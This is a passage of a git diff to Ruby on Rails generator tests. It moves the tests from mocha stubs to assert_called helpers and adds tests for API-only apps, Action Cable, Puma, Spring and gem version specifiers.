.', verbose: false) - action :capify! + assert_called_with(generator, :run, ['capify .', verbose: false]) do + action :capify! + end end def test_route_should_add_data_to_the_routes_block_in_config_routes @@ -219,6 +290,21 @@ class ActionsTest < Rails::Generators::TestCase assert_file 'config/routes.rb', /#{Regexp.escape(route_command)}/ end + def test_route_should_be_idempotent + run_generator + route_path = File.expand_path('config/routes.rb', destination_root) + + # runs first time, not asserting + action :route, "root 'welcome#index'" + content_1 = File.read(route_path) + + # runs second time + action :route, "root 'welcome#index'" + content_2 = File.read(route_path) + + assert_equal content_1, content_2 + end + def test_route_should_add_data_with_an_new_line run_generator action :route, "root 'welcome#index'" @@ -230,7 +316,14 @@ class ActionsTest < Rails::Generators::TestCase content.gsub!(/^\n/, '') File.open(route_path, "wb") { |file| file.write(content) } - assert_file "config/routes.rb", /\.routes\.draw do\n root 'welcome#index'\nend\n\z/ + + routes = <<-F +Rails.application.routes.draw do + root 'welcome#index' +end +F + + assert_file "config/routes.rb", routes action :route, "resources :product_lines" @@ -245,15 +338,17 @@ F def test_readme run_generator - Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root) - assert_match "application up and running", action(:readme, "README.md") + assert_called(Rails::Generators::AppGenerator, :source_root, times: 2, returns: destination_root) do + assert_match "application up and running", action(:readme, "README.md") + end end def test_readme_with_quiet generator(default_arguments, quiet: true) run_generator - Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root) - assert_no_match "application up and running", action(:readme, "README.md") + assert_called(Rails::Generators::AppGenerator, :source_root, times: 2, returns: destination_root) do + assert_no_match "application up and running", action(:readme, "README.md") + end end def test_log diff --git a/railties/test/generators/api_app_generator_test.rb b/railties/test/generators/api_app_generator_test.rb new file mode 100644 index 0000000000..8e1cd0891a --- /dev/null +++ b/railties/test/generators/api_app_generator_test.rb @@ -0,0 +1,110 @@ +require 'generators/generators_test_helper' +require 'rails/generators/rails/app/app_generator' + +class ApiAppGeneratorTest < Rails::Generators::TestCase + include GeneratorsTestHelper + tests Rails::Generators::AppGenerator + + arguments [destination_root, '--api'] + + def setup + Rails.application = TestApp::Application + super + + Kernel::silence_warnings do + Thor::Base.shell.send(:attr_accessor, :always_force) + @shell = Thor::Base.shell.new + @shell.send(:always_force=, true) + end + end + + def teardown + super + Rails.application = TestApp::Application.instance + end + + def test_skeleton_is_created + run_generator + + default_files.each { |path| assert_file path } + skipped_files.each { |path| assert_no_file path } + end + + def test_api_modified_files + run_generator + + assert_file "Gemfile" do |content| + assert_no_match(/gem 'coffee-rails'/, content) + assert_no_match(/gem 'jquery-rails'/, content) + assert_no_match(/gem 'sass-rails'/, content) + assert_no_match(/gem 'web-console'/, content) + assert_match(/# gem 'jbuilder'/, content) + end + + assert_file "config/application.rb" do |content| + assert_match(/config.api_only = true/, content) + end + + assert_file "config/initializers/cors.rb" + + assert_file "config/initializers/wrap_parameters.rb" + + assert_file "app/controllers/application_controller.rb", /ActionController::API/ + end + + def test_generator_if_skip_action_cable_is_given + run_generator [destination_root, "--skip-action-cable"] + assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/ + assert_no_file "config/cable.yml" + assert_no_file "app/channels" + assert_file "Gemfile" do |content| + assert_no_match(/redis/, content) + end + end + + private + + def default_files + files = %W( + .gitignore + Gemfile + Rakefile + config.ru + app/controllers + app/mailers + app/models + app/views/layouts/mailer.html.erb + app/views/layouts/mailer.text.erb + config/environments + config/initializers + config/locales + db + lib + lib/tasks + log + test/fixtures + test/controllers + test/integration + test/models + tmp + vendor + ) + files.concat %w(bin/bundle bin/rails bin/rake) + files + end + + def skipped_files + %w(app/assets + app/helpers + app/views/layouts/application.html.erb + config/initializers/assets.rb + config/initializers/cookies_serializer.rb + config/initializers/session_store.rb + config/initializers/request_forgery_protection.rb + config/initializers/per_form_csrf_tokens.rb + lib/assets + vendor/assets + test/helpers + tmp/cache/assets) + end +end diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb index 00a7932267..25a8635e7d 100644 --- a/railties/test/generators/app_generator_test.rb +++ b/railties/test/generators/app_generator_test.rb @@ -1,7 +1,6 @@ require 'generators/generators_test_helper' require 'rails/generators/rails/app/app_generator' require 'generators/shared_generator_tests' -require 'mocha/setup' # FIXME: stop using mocha DEFAULT_APP_FILES = %w( .gitignore @@ -18,6 +17,7 @@ DEFAULT_APP_FILES = %w( app/mailers app/models app/models/concerns + app/jobs app/views/layouts bin/bundle bin/rails @@ -26,6 +26,9 @@ DEFAULT_APP_FILES = %w( config/environments config/initializers config/locales + config/cable.yml + config/puma.rb + config/spring.rb db lib lib/tasks @@ -43,6 +46,7 @@ DEFAULT_APP_FILES = %w( vendor/assets vendor/assets/stylesheets vendor/assets/javascripts + tmp tmp/cache tmp/cache/assets ) @@ -61,12 +65,17 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_assets run_generator - assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track' => true/) - assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track' => true/) + assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track': 'reload'/) + assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track': 'reload'/) assert_file("app/assets/stylesheets/application.css") assert_file("app/assets/javascripts/application.js") end + def test_application_job_file_present + run_generator + assert_file("app/jobs/application_job.rb") + end + def test_invalid_application_name_raises_an_error content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] } assert_equal "Invalid application name 43-things. Please give a name which does not start with numbers.\n", content @@ -110,35 +119,33 @@ class AppGeneratorTest < Rails::Generators::TestCase run_generator [app_root] - Rails.application.config.root = app_moved_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) + stub_rails_application(app_moved_root) do + Rails.application.stub(:is_a?, -> *args { Rails::Application }) do + FileUtils.mv(app_root, app_moved_root) - FileUtils.mv(app_root, app_moved_root) + # make sure we are in correct dir + FileUtils.cd(app_moved_root) - # make sure we are in correct dir - FileUtils.cd(app_moved_root) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, - destination_root: app_moved_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/ - assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/ + generator = Rails::Generators::AppGenerator.new ["rails"], [], + destination_root: app_moved_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/ + assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/ + end + end end def test_rails_update_generates_correct_session_key app_root = File.join(destination_root, 'myapp') run_generator [app_root] - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/ + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/ + end end def test_new_application_use_json_serialzier @@ -147,18 +154,22 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/) end + def test_new_application_not_include_api_initializers + run_generator + + assert_no_file 'config/initializers/cors.rb' + end + def test_rails_update_keep_the_cookie_serializer_if_it_is_already_configured app_root = File.join(destination_root, 'myapp') run_generator [app_root] - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/) + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/) + end end def test_rails_update_does_not_create_callback_terminator_initializer @@ -167,14 +178,12 @@ class AppGeneratorTest < Rails::Generators::TestCase FileUtils.rm("#{app_root}/config/initializers/callback_terminator.rb") - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_no_file "#{app_root}/config/initializers/callback_terminator.rb" + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_no_file "#{app_root}/config/initializers/callback_terminator.rb" + end end def test_rails_update_does_not_remove_callback_terminator_initializer_if_already_present @@ -183,30 +192,41 @@ class AppGeneratorTest < Rails::Generators::TestCase FileUtils.touch("#{app_root}/config/initializers/callback_terminator.rb") - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file "#{app_root}/config/initializers/callback_terminator.rb" + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/initializers/callback_terminator.rb" + end end - def test_rails_update_set_the_cookie_serializer_to_marchal_if_it_is_not_already_configured + def test_rails_update_set_the_cookie_serializer_to_marshal_if_it_is_not_already_configured app_root = File.join(destination_root, 'myapp') run_generator [app_root] FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb") - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file("#{app_root}/config/initializers/cookies_serializer.rb", + /Valid options are :json, :marshal, and :hybrid\.\nRails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/) + end + end + + def test_rails_update_dont_set_file_watcher + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/) + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/environments/development.rb" do |content| + assert_match(/# config.file_watcher/, content) + end + end end def test_rails_update_does_not_create_active_record_belongs_to_required_by_default @@ -215,14 +235,12 @@ class AppGeneratorTest < Rails::Generators::TestCase FileUtils.rm("#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb") - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) - - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_no_file "#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb" + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_no_file "#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb" + end end def test_rails_update_does_not_remove_active_record_belongs_to_required_by_default_if_already_present @@ -231,14 +249,94 @@ class AppGeneratorTest < Rails::Generators::TestCase FileUtils.touch("#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb") - Rails.application.config.root = app_root - Rails.application.class.stubs(:name).returns("Myapp") - Rails.application.stubs(:is_a?).returns(Rails::Application) + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb" + end + end + + def test_rails_update_does_not_create_to_time_preserves_timezone + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] - generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell - generator.send(:app_const) - quietly { generator.send(:update_config_files) } - assert_file "#{app_root}/config/initializers/active_record_belongs_to_required_by_default.rb" + FileUtils.rm("#{app_root}/config/initializers/to_time_preserves_timezone.rb") + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_no_file "#{app_root}/config/initializers/to_time_preserves_timezone.rb" + end + end + + def test_rails_update_does_not_remove_to_time_preserves_timezone_if_already_present + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] + + FileUtils.touch("#{app_root}/config/initializers/to_time_preserves_timezone.rb") + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/initializers/to_time_preserves_timezone.rb" + end + end + + def test_rails_update_does_not_create_ssl_options_by_default + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] + + FileUtils.rm("#{app_root}/config/initializers/ssl_options.rb") + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_no_file "#{app_root}/config/initializers/ssl_options.rb" + end + end + + def test_rails_update_does_not_remove_ssl_options_if_already_present + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] + + FileUtils.touch("#{app_root}/config/initializers/ssl_options.rb") + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/initializers/ssl_options.rb" + end + end + + def test_rails_update_does_not_create_rack_cors + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_no_file "#{app_root}/config/initializers/cors.rb" + end + end + + def test_rails_update_does_not_remove_rack_cors_if_already_present + app_root = File.join(destination_root, 'myapp') + run_generator [app_root] + + FileUtils.touch("#{app_root}/config/initializers/cors.rb") + + stub_rails_application(app_root) do + generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell + generator.send(:app_const) + quietly { generator.send(:update_config_files) } + assert_file "#{app_root}/config/initializers/cors.rb" + end end def test_application_names_are_not_singularized @@ -272,7 +370,7 @@ class AppGeneratorTest < Rails::Generators::TestCase if defined?(JRUBY_VERSION) assert_gem "activerecord-jdbcmysql-adapter" else - assert_gem "mysql2" + assert_gem "mysql2", "'>= 0.3.18', '< 0.5'" end end @@ -287,7 +385,7 @@ class AppGeneratorTest < Rails::Generators::TestCase if defined?(JRUBY_VERSION) assert_gem "activerecord-jdbcpostgresql-adapter" else - assert_gem "pg" + assert_gem "pg", "'~> 0.18'" end end @@ -338,10 +436,24 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generator_defaults_to_puma_version + run_generator [destination_root] + assert_gem "puma", "'~> 3.0'" + end + + def test_generator_if_skip_puma_is_given + run_generator [destination_root, "--skip-puma"] + assert_no_file "config/puma.rb" + assert_file "Gemfile" do |content| + assert_no_match(/puma/, content) + end + end + def test_generator_if_skip_active_record_is_given run_generator [destination_root, "--skip-active-record"] assert_no_file "config/database.yml" assert_no_file "config/initializers/active_record_belongs_to_required_by_default.rb" + assert_no_file "app/models/application_record.rb" assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/ assert_file "test/test_helper.rb" do |helper_content| assert_no_match(/fixtures :all/, helper_content) @@ -362,6 +474,13 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generator_has_assets_gems + run_generator + + assert_gem 'sass-rails' + assert_gem 'uglifier' + end + def test_generator_if_skip_sprockets_is_given run_generator [destination_root, "--skip-sprockets"] assert_no_file "config/initializers/assets.rb" @@ -369,9 +488,10 @@ class AppGeneratorTest < Rails::Generators::TestCase assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content) end assert_file "Gemfile" do |content| + assert_no_match(/jquery-rails/, content) assert_no_match(/sass-rails/, content) assert_no_match(/uglifier/, content) - assert_match(/coffee-rails/, content) + assert_no_match(/coffee-rails/, content) end assert_file "config/environments/development.rb" do |content| assert_no_match(/config\.assets\.debug = true/, content) @@ -383,6 +503,22 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_generator_if_skip_action_cable_is_given + run_generator [destination_root, "--skip-action-cable"] + assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/ + assert_no_file "config/cable.yml" + assert_no_file "app/assets/javascripts/cable.js" + assert_no_file "app/channels" + assert_file "Gemfile" do |content| + assert_no_match(/redis/, content) + end + end + + def test_action_cable_redis_gems + run_generator + assert_file "Gemfile", /^# gem 'redis'/ + end + def test_inclusion_of_javascript_runtime run_generator if defined?(JRUBY_VERSION) @@ -443,19 +579,46 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_inclusion_of_listen_related_configuration_by_default + run_generator + if RbConfig::CONFIG['host_os'] =~ /darwin|linux/ + assert_listen_related_configuration + else + assert_no_listen_related_configuration + end + end + + def test_non_inclusion_of_listen_related_configuration_if_skip_listen + run_generator [destination_root, '--skip-listen'] + assert_no_listen_related_configuration + end + + def test_evented_file_update_checker_config + run_generator + assert_file 'config/environments/development.rb' do |content| + if RbConfig::CONFIG['host_os'] =~ /darwin|linux/ + assert_match(/^\s*config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content) + else + assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content) + end + end + end + def test_template_from_dir_pwd FileUtils.cd(Rails.root) assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"])) end def test_usage_read_from_file - File.expects(:read).returns("USAGE FROM FILE") - assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc + assert_called(File, :read, returns: "USAGE FROM FILE") do + assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc + end end def test_default_usage - Rails::Generators::AppGenerator.expects(:usage_path).returns(nil) - assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc) + assert_called(Rails::Generators::AppGenerator, :usage_path, returns: nil) do + assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc) + end end def test_default_namespace @@ -492,7 +655,7 @@ class AppGeneratorTest < Rails::Generators::TestCase end def test_application_name_with_spaces - path = File.join(destination_root, "foo bar".shellescape) + path = File.join(destination_root, "foo bar") # This also applies to MySQL apps but not with SQLite run_generator [path, "-d", 'postgresql'] @@ -510,8 +673,8 @@ class AppGeneratorTest < Rails::Generators::TestCase run_generator [destination_root, "--dev"] assert_file "Gemfile" do |content| - assert_match(/gem 'web-console',\s+github: "rails\/web-console"/, content) - assert_no_match(/gem 'web-console', '~> 2.0'/, content) + assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content) + assert_no_match(/\Agem 'web-console'\z/, content) end end @@ -519,8 +682,8 @@ class AppGeneratorTest < Rails::Generators::TestCase run_generator [destination_root, "--edge"] assert_file "Gemfile" do |content| - assert_match(/gem 'web-console',\s+github: "rails\/web-console"/, content) - assert_no_match(/gem 'web-console', '~> 2.0'/, content) + assert_match(/gem 'web-console',\s+github: 'rails\/web-console'/, content) + assert_no_match(/\Agem 'web-console'\z/, content) end end @@ -531,24 +694,46 @@ class AppGeneratorTest < Rails::Generators::TestCase def test_spring_binstubs jruby_skip "spring doesn't run on JRuby" - generator.stubs(:bundle_command).with('install') - generator.expects(:bundle_command).with('exec spring binstub --all').once - quietly { generator.invoke_all } + command_check = -> command do + @binstub_called ||= 0 + + case command + when 'install' + # Called when running bundle, we just want to stub it so nothing to do here. + when 'exec spring binstub --all' + @binstub_called += 1 + assert_equal 1, @binstub_called, "exec spring binstub --all expected to be called once, but was called #{@install_called} times." + end + end + + generator.stub :bundle_command, command_check do + quietly { generator.invoke_all } + end end def test_spring_no_fork jruby_skip "spring doesn't run on JRuby" - Process.stubs(:respond_to?).with(:fork).returns(false) - run_generator + assert_called_with(Process, :respond_to?, [[:fork], [:fork]], returns: false) do + run_generator - assert_file "Gemfile" do |content| - assert_no_match(/spring/, content) + assert_file "Gemfile" do |content| + assert_no_match(/spring/, content) + end end end def test_skip_spring run_generator [destination_root, "--skip-spring"] + assert_no_file 'config/spring.rb' + assert_file "Gemfile" do |content| + assert_no_match(/spring/, content) + end + end + + def test_spring_with_dev_option + run_generator [destination_root, "--dev"] + assert_file "Gemfile" do |content| assert_no_match(/spring/, content) end @@ -592,6 +777,30 @@ class AppGeneratorTest < Rails::Generators::TestCase end end + def test_create_keeps + run_generator + folders_with_keep = %w( + app/assets/images + app/controllers/concerns + app/models/concerns + lib/tasks + lib/assets + log + test/fixtures + test/fixtures/files + test/controllers + test/mailers + test/models + test/helpers + test/integration + tmp + vendor/assets/stylesheets + ) + folders_with_keep.each do |folder| + assert_file("#{folder}/.keep") + end + end + def test_psych_gem run_generator gem_regex = /gem 'psych',\s+'~> 2.0',\s+platforms: :rbx/ @@ -610,23 +819,66 @@ class AppGeneratorTest < Rails::Generators::TestCase template = %{ after_bundle { run 'echo ran after_bundle' } } template.instance_eval "def read; self; end" # Make the string respond to read - generator([destination_root], template: path).expects(:open).with(path, 'Accept' => 'application/x-thor-template').returns(template) + check_open = -> *args do + assert_equal [ path, 'Accept' => 'application/x-thor-template' ], args + template + end - bundler_first = sequence('bundle, binstubs, after_bundle') - generator.expects(:bundle_command).with('install').once.in_sequence(bundler_first) - generator.expects(:bundle_command).with('exec spring binstub --all').in_sequence(bundler_first) - generator.expects(:run).with('echo ran after_bundle').in_sequence(bundler_first) + sequence = ['install', 'exec spring binstub --all', 'echo ran after_bundle'] + @sequence_step ||= 0 + ensure_bundler_first = -> command do + assert_equal sequence[@sequence_step], command, "commands should be called in sequence #{sequence}" + @sequence_step += 1 + end - quietly { generator.invoke_all } + generator([destination_root], template: path).stub(:open, check_open, template) do + generator.stub(:bundle_command, ensure_bundler_first) do + generator.stub(:run, ensure_bundler_first) do + quietly { generator.invoke_all } + end + end + end + + assert_equal 3, @sequence_step end protected + def stub_rails_application(root) + Rails.application.config.root = root + Rails.application.class.stub(:name, "Myapp") do + yield + end + end + def action(*args, &block) capture(:stdout) { generator.send(*args, &block) } end - def assert_gem(gem) - assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/ + def assert_gem(gem, constraint = nil) + if constraint + assert_file "Gemfile", /^\s*gem\s+["']#{gem}["'], #{constraint}$*/ + else + assert_file "Gemfile", /^\s*gem\s+["']#{gem}["']$*/ + end + end + + def assert_listen_related_configuration + assert_gem 'listen' + assert_gem 'spring-watcher-listen' + + assert_file 'config/environments/development.rb' do |content| + assert_match(/^\s*config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content) + end + end + + def assert_no_listen_related_configuration + assert_file 'Gemfile' do |content| + assert_no_match(/listen/, content) + end + + assert_file 'config/environments/development.rb' do |content| + assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content) + end end end diff --git a/railties/test/generators/channel_generator_test.rb b/railties/test/generators/channel_generator_test.rb new file mode 100644 index 0000000000..d58b54ac24 --- /dev/null +++ b/railties/test/generators/channel_generator_test.rb @@ -0,0 +1,61 @@ +require 'generators/generators_test_helper' +require 'rails/generators/channel/channel_generator' + +class ChannelGeneratorTest < Rails::Generators::TestCase + include GeneratorsTestHelper + tests Rails::Generators::ChannelGenerator + + def test_application_cable_skeleton_is_created + run_generator ['books'] + + assert_file "app/channels/application_cable/channel.rb" do |cable| + assert_match(/module ApplicationCable\n class Channel < ActionCable::Channel::Base\n/, cable) + end + + assert_file "app/channels/application_cable/connection.rb" do |cable| + assert_match(/module ApplicationCable\n class Connection < ActionCable::Connection::Base\n/, cable) + end + end + + def test_channel_is_created + run_generator ['chat'] + + assert_file "app/channels/chat_channel.rb" do |channel| + assert_match(/class ChatChannel < ApplicationCable::Channel/, channel) + end + + assert_file "app/assets/javascripts/channels/chat.coffee" do |channel| + assert_match(/App.cable.subscriptions.create "ChatChannel"/, channel) + end + end + + def test_channel_asset_is_not_created_when_skip_assets_is_passed + run_generator ['chat', '--skip-assets'] + + assert_file "app/channels/chat_channel.rb" do |channel| + assert_match(/class ChatChannel < ApplicationCable::Channel/, channel) + end + + assert_no_file "app/assets/javascripts/channels/chat.coffee" + end + + def test_cable_js_is_created_if_not_present_already + run_generator ['chat'] + FileUtils.rm("#{destination_root}/app/assets/javascripts/cable.js") + run_generator ['camp'] + + assert_file "app/assets/javascripts/cable.js" + end + + def test_channel_on_revoke + run_generator ['chat'] + run_generator ['chat'], behavior: :revoke + + assert_no_file "app/channels/chat_channel.rb" + assert_no_file "app/assets/javascripts/channels/chat.coffee" + + assert_file "app/channels/application_cable/channel.rb" + assert_file "app/channels/application_cable/connection.rb" + assert_file "app/assets/javascripts/cable.js" + end +end diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb index a7d56dd352..1351151afb 100644 --- a/railties/test/generators/controller_generator_test.rb +++ b/railties/test/generators/controller_generator_test.rb @@ -96,6 +96,8 @@ class ControllerGeneratorTest < Rails::Generators::TestCase def test_namespaced_routes_are_created_in_routes run_generator ["admin/dashboard", "index"] - assert_file "config/routes.rb", /namespace :admin do\n\s+get 'dashboard\/index'\n/ + assert_file "config/routes.rb" do |route| + assert_match(/^ namespace :admin do\n get 'dashboard\/index'\n end$/, route) + end end end diff --git a/railties/test/generators/generator_test.rb b/railties/test/generators/generator_test.rb index 7871399dd7..8ef44a8dcb 100644 --- a/railties/test/generators/generator_test.rb +++ b/railties/test/generators/generator_test.rb @@ -80,6 +80,21 @@ module Rails } assert_equal gems.drop(2), generator.gemfile_entries end + + def test_recommended_rails_versions + klass = make_builder_class + generator = klass.start(['new', 'blah']) + + specifier_for = -> v { generator.send(:rails_version_specifier, Gem::Version.new(v)) } + + assert_equal '~> 4.1.13', specifier_for['4.1.13'] + assert_equal ['>= 4.1.6.rc1', '< 4.2'], specifier_for['4.1.6.rc1'] + assert_equal ['~> 4.1.7', '>= 4.1.7.1'], specifier_for['4.1.7.1'] + assert_equal ['~> 4.1.7', '>= 4.1.7.1.2'], specifier_for['4.1.7.1.2'] + assert_equal ['>= 4.1.7.1.rc2', '< 4.2'], specifier_for['4.1.7.1.rc2'] + assert_equal ['>= 4.2.0.beta1', '< 4.3'], specifier_for['4.2.0.beta1'] + assert_equal ['>= 5.0.0.beta1', '< 5.1'], specifier_for['5.0.0.beta1'] + end end end end diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb index 62ca0ecb4b..b19a5a7144 100644 --- a/railties/test/generators/generators_test_helper.rb +++ b/railties/test/generators/generators_test_helper.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'active_support/core_ext/module/remove_method' require 'active_support/testing/stream' +require 'active_support/testing/method_call_assertions' require 'rails/generators' require 'rails/generators/test_case' @@ -25,6 +26,7 @@ require 'action_view' module GeneratorsTestHelper include ActiveSupport::Testing::Stream + include ActiveSupport::Testing::MethodCallAssertions def self.included(base) base.class_eval do diff --git a/railties/test/generators/job_generator_test.rb b/railties/test/generators/job_generator_test.rb index a9e0cea94f..dbff0ab704 100644 --- a/railties/test/generators/job_generator_test.rb +++ b/railties/test/generators/job_generator_test.rb @@ -7,14 +7,14 @@ class JobGeneratorTest < Rails::Generators::TestCase def test_job_skeleton_is_created run_generator ["refresh_counters"] assert_file "app/jobs/refresh_counters_job.rb" do |job| - assert_match(/class RefreshCountersJob < ActiveJob::Base/, job) + assert_match(/class RefreshCountersJob < ApplicationJob/, job) end end def test_job_queue_param run_generator ["refresh_counters", "--queue", "important"] assert_file "app/jobs/refresh_counters_job.rb" do |job| - assert_match(/class RefreshCountersJob < ActiveJob::Base/, job) + assert_match(/class RefreshCountersJob < ApplicationJob/, job) assert_match(/queue_as :important/, job) end end @@ -22,8 +22,15 @@ class JobGeneratorTest < Rails::Generators::TestCase def test_job_namespace run_generator ["admin/refresh_counters", "--queue", "admin"] assert_file "app/jobs/admin/refresh_counters_job.rb" do |job| - assert_match(/class Admin::RefreshCountersJob < ActiveJob::Base/, job) + assert_match(/class Admin::RefreshCountersJob < ApplicationJob/, job) assert_match(/queue_as :admin/, job) end end + + def test_application_job_skeleton_is_created + run_generator 